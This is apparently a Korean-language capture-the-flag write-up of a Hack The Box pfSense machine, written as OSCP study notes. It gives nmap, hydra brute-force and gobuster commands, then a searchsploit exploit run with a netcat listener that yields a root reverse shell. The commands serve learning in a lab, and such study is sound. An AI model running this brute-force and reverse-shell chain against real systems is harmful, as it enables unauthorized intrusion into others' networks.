GitHub - rkhal101/Hack-the-Box-OSCP-Preparation: Hack-the-Box-OSCP-Preparation
Hack-the-Box-OSCP-Preparation. Contribute to rkhal101/Hack-the-Box-OSCP-Preparation development by creating an account on GitHub.
github.com
nmap -sC -sT -sV 10.10.10.60
-sC: run default nmap scripts
-sV: detect service version
-O: detect OS
-p-: scan all ports
-sU: udp scan
-sT: tcp scan
http-title: Did not follow redirect to https://10.10.10.60/ 의 의미
포트 스캔 결과를 통해 알 수 있는 것
- Port 80 redirects to port 443 so we really only have one port to enumerate.
80포트는 443으로 리다이렉하기 때문에, 우리는 실제로는 포트 하나만 오픈되어 있다고 해도 무방하다.
웹 페이지 확인
이게 pfSense 로그인 페이지이다. -> 이걸 어떻게 파악해??
pfSense는 free, 오픈 소스 방화벽과 라우터이다. pfSense는 기성품이기 때문에(off the shelf software), 구글에 "pfsense default credentials"를 검색했다. -> 로그인할 수 있는 id, pw가 있다고 판단한 듯
=> admin / pfsense
-> but it not works....
hydra
kail의 hydra로 네트워크 비밀번호 브루트포스 크래킹 시도
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.60 https-post-form "/index.php:__csrf_magic=sid%3A44c8728e26d47be027a7a01c98089e974f010329%2C1577594299&usernamefld=^USER^&passwordfld=^PASS^&login=Login:Username or Password incorrect"
- -l indicates a single username (use -L for a username list)
- -P indicates use the following password list
- http-post-form indicates the type of form
- /index.php is the login page URL
- usernamefld is the form field where the username is entered
- ^USER^ tells Hydra to use the username or list in the field
- passwordfld is the form field where the password is entered (it may be passwd, pass, etc.)
- ^PASS^ tells Hydra to use the password list supplied
- Login indicates to Hydra the login failed message
- Login failed is the login failure message that the form returned
- -V is for verbose output showing every attempt
** __csrf_magic이 뭔가??
hydra command line에서 __csrf_magic을 보고 저건 뭐야;; 생각했다.
그런데 다른 풀이를 보니 burp suite로 로그인 패킷을 보니 저 값이 포함되어있었다.
csrf token을 이용한 csrf 방어기법이라고 한다.
그래서 혹시나 html코드에 __csrf_magic이 포함되어있지 않을까 f12로 검사했더니 위와 같이 발견되었다.
** csrf token에 관하여
https://minkukjo.github.io/cs/2020/08/15/Security-1/
CSRF 공격과 CSRF Token에 대하여
들어가기에 앞서
minkukjo.github.io
Username or Password incorrect는 로그인 실패시 나오는 값.
"내 생각에는" 브루트 포스 어택이고,
로그인 성공시 어떤 값이 웹 페이지에 나타날 지 모르니까
로그인 실패시 나오는 string을 이용해 브루트 포스를 계속한다.
-> 어쨌든 hydra로 브루트포스 실패
gobuster
웹 서버의 디렉터리나 파일들을 스캔할 수 있으며 해당 사이트의 DNS 부속 서버도 스캔할 수 있는 툴
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -k
- dir: uses directory/file brute forcing mode.
- -w: path to the wordlist.
- -u: the target URL or Domain.
- -k: skip SSL certificate verification.
=> I didn’t get anything useful. -> 뭘 보고 의미가 있다없다 판단할 수 있는거지?
searchsploit pfsense로 찾아봐도 경우의 수가 너무 많음. 버전을 파악해야 범위를 좁힐 수 있다.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.10.10.60 -k -x php,txt,conf
를 통해 의심스러운 파일 발견
의심스러운 파일에서
1. pfsense의 취약한 버전임을 알려줌
2. id, pw 발견
로그인하니까 pfsense 버전 확인할 수 있음
searchsploit
아까 searchsploit pfsense의 결과 중 맞는 버전을 찾을 수 있음. 해당 익스 코드는 43560.py
searchsploit -m 43560.py
이렇게 하면 지금 위치로 해당 py파일이 복사됨
43560.py파일을 열어서 확인해보면 리버스쉘을 이용한 익스코드임을 알 수 있음
알맞게 파라미터를 넣고 익스 시도
nc -nlvp 1234
python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.12 --lport 1234 --username rohit --password pfsense
하면 익스 성공
바로 루트 쉘을 땄기 때문에 flag를 확인할 수 있음
# 기억해야 할 것
0. 웹 해킹 문제가 나오면 어떤 걸로 구축되었는지 확인. ex. wordpress? pfsense? - todo. pfsense가 뭔지 파악
1. 로그인 창이 나오면 브루트 포스 모듈을 생각할 수 있다. ex. hydra - todo. hydra 사용법 익히기
2. 브루트 포스로 로그인 창을 뚫지 못헀다면, 해당 웹서버의 디렉터리와 파일을 스캔할 수 있는 모듈을 생각할 수 있다. ex. gobuster - todo. gobuster 사용법 익히기
3. 2의 결과로 나온 파일 리스트 중 의심스러운 것 골라내기 - how?
4. 로그인 창을 뚫고 웹 페이지 탐색...
5. 버전에 대한 이야기가 써져있으므로 버전 확인
6. searchsploit으로 검색하고 exploit - todo. searchsploit 사용법 익히기/ 해당 코드 보고 사용법 파악하기
'워게임 > hackthebox' 카테고리의 다른 글
shocker 롸업 정리 (0) | 2021.09.05 |
---|---|
[**어렵] beep - 롸업 정리 (0) | 2021.09.03 |
node 롸업 정리 (0) | 2021.08.15 |
[HTB] lame - 참고 링크 정리 (0) | 2021.08.15 |
[풀이X삽질O]hackthebox - pwn with metasploit - Optimum (0) | 2021.07.18 |
댓글